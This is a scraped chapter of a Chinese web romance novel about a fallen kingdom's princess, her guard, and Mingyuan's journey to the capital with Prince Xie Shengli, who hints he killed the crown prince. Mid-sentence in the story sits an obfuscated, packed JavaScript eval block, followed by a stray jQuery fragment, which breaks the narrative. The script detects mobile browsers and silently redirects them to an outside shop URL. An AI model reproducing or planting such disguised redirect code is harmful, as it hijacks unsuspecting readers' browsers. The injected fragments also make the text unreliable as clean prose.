文趣网 > 其他小说 > 拯救亡国公主计划 > 11. 第 11 章
    “不怕,我相信你,谢晟礼。”

    虽然系统有一段时间没有出现了,但话本上的内容都在更新。

    谢晟礼虽然没有实权,但也是皇子的身份。

    如果他愿意争,加上北明相助,登上太子之位应该不算难。

    ……

    屋前,两人相隔几米。

    云昭在明鸢喊谢晟礼时便抬起头,视线撞进阿骁眼眸里。

    她笑起来,站起身,先是毕恭毕敬地向谢晟礼行礼,然后等着阿骁走来。

    侍女静步退下。

    阿骁伸手接过她手里的风筝骨架,把枣糕递过去:“我来吧。”

    “好。”

    廊下微风轻抚,树叶沙沙作响,手中的枣糕格外甜糯。

    云昭眼不眨地盯着他的动作,寥寥只是看上一眼便会知足。

    阿骁察觉到她的视线,默声睨了一眼,淡然道:“殿下说,三日之后前往京都。小姐,可以让小叶给你收拾包袱了。”

    “京都相隔甚远,昼夜赶路怕要一日整才能抵达。”

    “路上多带些吃食,殿下身份尊贵,吃穿用度不愁,我只是担心您……”

    云昭隐隐听出他话里的意思,茫然问:“阿骁不一同前往?”

    阿骁低垂着手,手中动作不停,拿来宣纸糊上。

    “殿下要我留在清塘镇,打理府上事务。”

    云昭再不问世事,也听得懂这里面的意思。

    现在她是辰王手里的筹码,阿骁只能听命于他。

    “可我们刚团聚几日,就又要分别……京都与清塘镇相隔甚远……”她顿住,苦恼地摇了摇头,“罢了,你保护好自己。”

    云昭别开脸,晶莹剔透的泪珠滚下来。

    阿骁望着心疼,拉着她的手,郑重道:“公主,南昭亡国的消息已经慢慢传开,属下势力微薄,如今我们只能依靠辰王殿下。”

    “您放心,殿下会护公主周全。”他抬手拭去云昭的眼泪,“再给属下一点时间,我定能帮公主夺回南昭,免受寄人篱下之苦。”

    云昭握着他的手,耍小脾气:“可是我不想与你分开,北明王残暴凶狠、杀伐果断,哥哥他们凶多吉少。我只剩你了,阿骁。”

    “要是你也有什么意外,我一个人……”

    “公主!”阿骁打断她,“事在人为,莫非天为。如今我们有辰王相助,定会无事。”

    “公主若是不放心,可给属下写信三封,来回四日即可。”

    云昭勉强止住了泪水,一双眼微微泛红,“你一定要给我写信,不可隐瞒。”

    “属下何时骗过你。”

    那日夜里,云昭躺在床榻上辗转难眠,阿骁叹气,起身进屋,守在她身侧。

    ……

    返京那日,辰王府门前停着三辆马车。

    阿骁扶着云昭上马,轻声嘱托小叶照顾好她。

    “阿鸢小心些别摔了。”

    明鸢坐在尾端,双腿一晃一晃的。

    顾璟荣走来,从衣袖中掏出一个荷包递给她:“在京都等我。”

    明鸢打开看见里面黄澄澄的东西,眼睛瞬间亮起来。

    一兜子金瓜子。

    虽说这几天顾璟荣总是厚着脸皮,跟着她们,出府玩也是他买单,但这也太大方了吧!

    明鸢把荷包收好,关心道:“你要回北明了吗?”

    “阿鸢可是舍不得我?”

    这情话说的比谢晟礼还熟练。

    “不是。”明鸢无奈,又道,“顾璟荣,我们以前是不是特别熟啊?”

    “嗯,很熟,比你跟谢晟礼还熟。”顾璟荣抬手理了理她的发髻,“你从前最爱叫我荣哥哥。”

    明鸢若有所思,嗓音清甜:“那荣哥哥去过南昭国吗?”

    “去过。阿鸢喜欢南昭国?”

    明鸢笑得天真:“喜欢。”又换上一副伤心的神情,“可惜南昭已经亡国了。”

    顾璟荣欲言又止,用指腹蹭了蹭她的脸,柔声哄道:“那等阿鸢生辰,荣哥哥许你一个愿望,好不好?”

    明鸢望着他如一汪春水的碧眼,里面含着这世间最柔软的情。

    她看到了他的爱意,看到了他对自己温柔无比的宠爱。

    明鸢心底微微触动,手指勾了勾他垂在胸前的那一缕发丝:“好,荣哥哥。”

    谢晟礼手臂上搭着一件黑色的披风,手里拎着刚出炉的糕点,刚出来就看到如此温情的一幕,脖子上的青筋瞬间暴起。

    他冷面走过去,一把挤走顾璟荣,咬牙道:“收起你的笑脸!”

    明鸢嘴角立即向下,笑容不见踪影。

    谢晟礼把糕点丢给她,动作粗鲁地将人塞进马车里,扯下帘子盖好。

    明鸢听到顾璟荣的笑声,掀开车帘。

    “醋缸。”

    谢晟礼也不客气:“滚。”

    “辰王殿下好大的脾气,”顾璟荣打趣,随后压低了声音,“保护好她。”

    “回你的北明去。”谢晟礼抬腿,坐进马车里。

    顾璟荣笑:“阿鸢,我过几日便来。”

    马车启轿,顾璟荣目送马车走远,登上返回北明的轿子。

    阿骁则在东厢房收拾完包袱,跟着暮山,一同前往军营。

    明鸢缩在一旁,从衣襟里掏出荷包,一颗一颗数着金瓜子。

    谢晟礼睨了眼,冷声:“一袋金瓜子就把你收买了?”

    明鸢放在嘴边咬了咬,义正言辞道:“实心的,值好多钱的。”

    谢晟礼不屑:“我让人给你买的那些金钗、头面,那样不是实心的?”

    是实心的,还镶嵌了宝石、珍珠。

    明鸢立即把荷包收好,坐过去,讨好道:“都是。所以在我心里,你排第一。”

    谢晟礼一句话哄好,伸手捏了下她脸上的软肉。

    “要不要睡会?明日午时才能到京都。”

    马车行驶在山间小道上并不平稳,晃悠悠没一会,明鸢就软趴趴地靠在谢晟礼身上。

    “我们晚上住哪?”

    谢晟礼虚揽着她,手指把玩她的发丝:“客栈。”

    “困,我眯会,谢晟礼。”

    ……

    明鸢在马车上睡了一天,到夜里入住客栈时,整个人格外精神。

    在隔壁房间陪云昭玩到深夜,云昭困了才回来。

    谢晟礼不满道:“舍得回来了?”

    “云昭要休息,我就回来了。”

    明鸢坐在铜镜前,开始解开发辫重新梳理,早上出门的时候,合欢怕她路上热,就编了盘发。

    这个时辰她们都睡了,明鸢解了一会,手就举累了。

    “谢晟礼,你帮我好不好?我够不到。”

    床榻上的男子,喉咙里溢出一阵低笑。

    明鸢发丝被金钗勾住,闻声恼火回头,娇嗔道:“谢晟礼!”

    谢晟礼弯腰蹲在她身侧,接过她手中的金钗,动作细致地帮她把那缕勾住的发丝解开。

    “不气,阿鸢。”

    铜镜里,男子冷硬的轮廓变得柔和,眉眼低垂,烛火摇曳,他的神情变得格外温柔。

    头面一一都摘下,谢晟礼大掌捏着她一缕麻花编发,开始解上面的绑带。

    明鸢恍惚,总觉得他们这样举案齐眉,像前世的她和谢晟礼。

    仿佛不管历经几世轮回,谢晟礼对她,永远是无条件的信任。

    屋里的烛台熄灭,两人躺在床榻上,谢晟礼将她搂进怀里,闭着眼,吻了吻她的脸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704978|208183||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    这么多日,明鸢已经习惯了他。

    他总喜欢亲亲她的脸,捏捏她的手,或者突然抱着她。

    谢晟礼脸颊蹭到她脖颈里,声音黏糊糊的,“阿鸢,回京都,我娶你为妻,可好?”

    听闻古代王爷娶亲,十里红妆,黄金百两,八抬鎏金花轿,锣鼓震天,千盏红纱宫灯连城星河,金银珠玉映得长街流光熠熠。

    明鸢幻想过自己的婚礼,西式的,在草坪上,气球鲜花,婚纱长裙,像城堡里的公主,梦幻且唯美。

    明鸢心尖微动,伸手抚上他锋利的棱角,嗓音落在寂静的夜里格外轻、格外柔。

    “我想当太子妃,谢晟礼。”

    谢晟礼笑起来,牵过她的手,放在唇边吻了吻:“好,我答应阿鸢。”

    谢晟礼,你可一定要当上太子,坐上皇位,为我拿下南昭。

    ……

    -

    京都。

    马车转转悠悠才抵达辰王府,一下马,明鸢和云昭一脸惊诧。

    其他侍从只是震惊地看了一眼,便恢复如常。

    辰王府门前格外气派,青绿琉璃瓦,那规格都是按照太子府的标准装修的。

    云昭拉着明鸢,小声道:“殿下不怕吗?僭越可是重罪。”

    若是被皇帝或者太子知道了,那可是掉脑袋的重罪。

    明鸢闻言,不禁扶住了自己的脖子,快步跟上去询问。

    “谢晟礼,你行事这么狂妄,要是被人知道了,会不会小命难保?”

    谢晟礼不屑一顾:“被谁知道?”

    “太子啊。”

    “他死了。”

    明鸢:?

    什么叫太子死了?

    外头怎么没风声?还没传到清塘镇吗?

    “他什么时候死的?怎么死的?”

    谢晟礼长袍一挥,将她搂进怀里,用只有两个人能听到的声音,说道:“你不是要当太子妃吗?他不死,你怎么上位?”

    明鸢突如其来的不好意思:“呵呵……所以他什么时候凉的?”

    “一个半月前吧。”

    明鸢静默,在心里算了算时间。

    那不就是她刚穿过的前一个星期嘛。

    这太子怎么死的?

    明鸢疑惑地看向谢晟礼,无厘头地蹦出一句:“不会是你干的吧?”

    谢晟礼脚步顿住,脸上带笑地看着她:“阿鸢是怎么知道的呢?”

    一阵邪风吹过,吹得她脊背发麻。

    明鸢害怕地咽了咽口水,“没,我乱说的。”

    他身上逼人的气场收放自如,眼底的阴暗转眼间散去,换上一副温润如玉的模样,揽着她的肩往后院主殿走。

    “阿鸢是在害怕吗?”

    明鸢扯了扯唇角,移开话题:“我住哪?”

    “主殿,同我一起。”

    “那云昭呢?”

    “后寝东侧一处单独完整的院落,配有单独的侍女,长内侍,和外院侍卫。设有偏门自行进出。”谢晟礼挑眉:“阿鸢可还满意这样安排?”

    明鸢点头。

    主殿内摆放着宫里新送来的礼服,江南贡缎、浮光锦,纹样式是金线绣双鸾与缠枝珍珠花,赤红色薄纱披帛,臂间金镶玉跳脱固定。

    旁边摆着的头面,更是精致华美。

    金点翠步摇、珠翠海棠簪、红宝石耳坠、赤金镶玉镯。

    服饰比那宫里的公主娘娘还要雍容。

    “喜欢吗?”

    明鸢吓得结巴:“喜……喜欢。”

    他们这样过于奢华和招摇,真的没事吗?

    明鸢揪着他的袖口:“谢晟礼,明天是什么大日子吗?”

    他道:“进宫,带你参加宴会。”